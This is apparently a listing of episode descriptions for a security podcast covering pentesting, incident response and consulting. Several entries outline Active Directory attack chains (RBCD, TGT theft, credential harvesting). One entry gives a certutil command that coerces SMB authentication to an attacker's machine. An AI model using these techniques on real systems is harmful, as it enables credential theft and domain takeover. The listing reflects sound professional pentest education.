Sinopsis
7 Minute Security is a weekly information security podcast focusing on penetration testing, blue teaming and building a career in security. The podcast also features in-depth interviews with industry leaders who share their insights, tools, tips and tricks for being a successful security engineer.
Episodios
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7MS #649: First Impressions of Twingate
08/11/2024 Duración: 01h12minToday we take a look at a zero-trust / ditch-your-VPN solution called Twingate (not a sponsor but we’d like them to be)! It also doubles nicely as a primary or backup connection for your DIY pentest dropboxes which we’ve talked about quite a bit here. In other news, we’ve moved from Teachable to Coursestack, so if you’ve bought training/ebooks with us before, you should’ve received some emails from us last Friday and can access our new training portal here. (If you THINK you should’ve received enrollment emails from CourseStack and didn’t, drop us a line here.) In the tangent portion of our program, I give a health update on my mom and dad, and talk about some resources I’m exploring to reduce stress and anxiety after what has been a tough week for many of us.
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7MS #648: First Impressions of Level.io
01/11/2024 Duración: 40minHey friends, today I’m sharing my first (and non-sponsored) impressions of Level.io, a cool tool for managing Windows, Mac and Linux endpoints. It fits a nice little niche in our pentest dropbox deployments, it has an attractive price point and their support is fantastic.
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7MS #647: How to Succeed in Business Without Really Crying – Part 19
25/10/2024 Duración: 22minToday we’re talkin’ business – specifically how to make your report delivery meetings calm, cool and collect (both for you and the client!).
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7MS #646: Baby’s First Incident Response with Velociraptor
18/10/2024 Duración: 16minHey friends, today I’m putting my blue hat on and dipping my toes in incident response by way of playing with Velociraptor, a very cool (and free!) tool to find evil in your environment. Perhaps even better than the price tag, Velociraptor runs as a single binary you can deploy to spin up a server and then request endpoints to “phone home” to you by way of GPO scheduled task. The things I talk about in this episode and show in the YouTube stream are all based off of this awesome presentation from Eric Capuano, who also was kind enough to publish a handout to accompany the presentation. And on a personal note, I wanted to share that Velociraptor has got me interested in jumping face first into some tough APT labs provided by XINTRA. More to come on XINTRA’s offering, but so far I’m very impressed!
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7MS #645: How to Succeed in Business Without Really Crying - Part 18
14/10/2024 Duración: 31minToday I do a short travelogue about my trip to Washington, geek out about some cool training I did with Velociraptor, ponder drowning myself in blue team knowledge with XINTRA LABS, and share some thoughts about the conference talk I gave called 7 Ways to Panic a Pentester.
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7MS #644: Tales of Pentest Pwnage – Part 64
04/10/2024 Duración: 41minHey! I’m speaking in Wanatchee, Washington next week at the NCESD conference about 7 ways to panic a pentester! Today’s tale of pentest pwnage is a great reminder to enumerate, enumerate, enumerate! It also emphases that cracking NETLM/NETNTLMv1 isn’t super easy to remember the steps for (at least for me) but this crack.sh article makes it a bit easier!
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7MS #643: DIY Pentest Dropbox Tips – Part 11
27/09/2024 Duración: 26minToday we continue where we left off in episode 641, but this time talking about how to automatically deploy and install a Ubuntu-based dropbox! I also share some love for exegol as an all-in-one Active Directory pentesting platform.
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7MS #642: Interview with Ron Cole of Immersive Labs
23/09/2024 Duración: 42minRon Cole of Immersive Labs joins us to talk pentest war stories, essential skills he learned while serving on a SOC, and the various pentest training and range platforms you can use to sharpen your security skills! Here are the links Ron shared during our discussion: VetSec Fortinet Veterans Program Immersive Labs Cyber Million FedVTE
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7MS #641: DIY Pentest Dropbox Tips – Part 10
13/09/2024 Duración: 27minToday we’re revisiting the fun world of automating pentest dropboxes using Proxmox, Ansible, Cursor and Level. Plus, a tease about how all this talk about automation is getting us excited for a long-term project: creating a free/community edition of Light Pentest LITE training!
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7MS #640: Tales of Pentest Pwnage – Part 63
07/09/2024 Duración: 43minThis was my favorite pentest tale of pwnage to date! There’s a lot to cover in this episode so I’m going to try and bullet out the TLDR version here: Sprinkled farmer files around the environment Found high-priv boxes with WebClient enabled Added “ghost” machine to the Active Directory (we’ll call it GHOSTY) RBCD attack to be able to impersonate a domain admin using the CIFS/SMB service against the victim system where some higher-priv users were sitting Use net.py to add myself to local admin on the victim host Find a vulnerable service to hijack and have run an evil, TGT-gathering Rubeus.exe – found that Credential Guard was cramping my style! Pulled the TGT from a host not protected with Credential Guard Figured out the stolen user’s account has some “write” privileges to a domain controller Use rbcd.py to delegate from GHOSTY and to the domain controller Request a TGT for GHOSTY Use getST.py to impersonate CIFS using a domain admin account on the domain controller (important thing here was to specify the
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7MS #639: Tales of Pentest Pwnage - Part 62
03/09/2024 Duración: 07minToday’s tale of pentest pwnage talks about the dark powers of the net.py script from impacket.
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7MS #638: Tales of Pentest Pwnage – Part 61
23/08/2024 Duración: 32minToday we’re talking pentesting – specifically some mini gems that can help you escalate local/domain/SQL privileges: Check the C: drive! If you get local admin and the system itself looks boring, check root of C – might have some interesting scripts or folders with tools that have creds in them. Also look at Look at Get-ScheduledTasks Find ids and passwords easily in Snaffler output with this Snaffler cleaner script There’s a ton of gold to (potentially) be found in SQL servers – check out my notes on using PowerUpSQL to find misconfigs and agent jobs you might able to abuse!
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7MS #637: BPATTY[RELOADED] Release Party
17/08/2024 Duración: 07minHello friends, I’m excited to release BPATTY[RELOADED] into the world at https://bpatty.rocks! – which stands for Brian’s Pentesting and Technical Tips for You! It’s a knowledge base of IT and security bits that help me do a better job doing security stuff! Today I do an ACTUAL 7-minute episode (GASP…what a concept!) covering my favorite bits on the site so far. Enjoy!
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7MS #636: A Prelude to BPATTY(RELOADED)
12/08/2024 Duración: 11minArtificial hype alert! I’m working on a NEW version of BPATTY (Brian’s Pentesting and Technical Tips for You), but it is delayed because of a weird domain name hostage negotiation situation. It’s weird. But in the meantime I want to talk about the project (which is a pentest documentation library built on Docusaurus) and how I think it will be bigger/better/stronger/faster/cooler than BPATTY v1 (which is now in archive/read-only mode).
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7MS #635: Eating the Security Dog Food - Part 7
03/08/2024 Duración: 45minToday we’re talking about eating the security dog food – specifically: Satisfying critical security control #1 Using the Atlassian family of tools to create a ticketing/change control system and wrap it into an asset inventory Leveraging Wazuh as a security monitoring system (with eventual plans to leverage its API to feed Atlassian inventory data)
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7MS #634: Tales of Pentest Pwnage - Part 60
26/07/2024 Duración: 32minHi, today’s tale of pentest pwnage covers a few wins and one loss: A cool opportunity to drop Farmer “crops” to a domain admin’s desktop folder via PowerShell remote session Finding super sensitive data by dumpster-diving into a stale C:\Users\Domain-Admin profile Finding a vCenter database backup and being unable to pwn it using vcenter_saml_login
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7MS #633: How to Create a Security Knowledgebase with Docusaurus
19/07/2024 Duración: 14minHey friends, we’re doing a little departure from our normal topics and focusing on how to create a security knowledgebase (is that one word or two?) using Docusaurus! It’s cool, it’s free, it’s from Meta and you can get up and going in just a few commands – check out their getting started guide to get rockin’ in about 5 minutes. Important files include: docusaurus.config.js – for setting the site title and key config settings sidebars.js – used to create/edit navigation bar menus /src/css/custom.css – to style the site
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7MS #632: Tales of Pentest Pwnage – Part 59
12/07/2024 Duración: 48minToday’s tale of pentest pwnage includes some fun stuff, including: SharpGPOAbuse helps abuse vulnerable GPOs! Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address. When you’re ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder. I’m not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s). If you’re on a compromised machine, try Get-ScheduledTask -taskname "name" | select * to get information about what context the attack is running under. DonPAPI got an upgrade recently with a focus on evasion! When attacking vCenter (see our past YouTube stream for a walkthrough), make sure you’ve got the vmss2core utility, which I couldn’t find anywhere except the Internet Archive. Then I really like to follow this article to pull passwords from VM memory dumps. Can’t RDP into a victim system that you’re PSRemote’d into? Maybe RDP is listening on an alternate port!
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7MS #631: Tales of Pentest Pwnage – Part 58
07/07/2024 Duración: 15minHi friends, today’s a tale full of test tips and tools to help you in your adventures in pentesting! SCCM Exploitation SCCM Exploitation: The First Cred Is the Deepest II w/ Gabriel Prud’homme – fantastic resource for learning all about attacking SCCM – starting from a perspective of zero creds CMLoot – find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares Snaffler – finds all the interesting SMB shares and juicy file contents Efflanrs – takes the raw Snaffler log and turns it into an interactive Web app! RubeusToCcache – a small tool to convert Base64-encoded .kirbi tickets from Rubeus into .ccache files for Impacket
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7MS #630: Epic Road Trip Served with Security Sprinkles
01/07/2024 Duración: 45minToday I recap a two week persona/biz road trip and talk about the security stuff that got sprinkled into it, including: Family members who don’t care about their personal security Weakpass – a cool collection of word lists for brute-forcing and spraying that I’d never heard of Working on two security Webinars for Netwrix (here’s part 1: Mastering Password Security & Active Directory Monitoring, and and part 2: Advanced Strategies for SQL Server Protection & Sensitive Information Security) The moment we though our credit card was stolen at a waterpark A shameless plug for our fun interview with Stu the recruiter Some internal pentest tips that have given us some gold in recent assessments Super fast, spoiler-free movie reviews of Roadhouse, Arcadian, Late Night with the Devil and The Coffee Table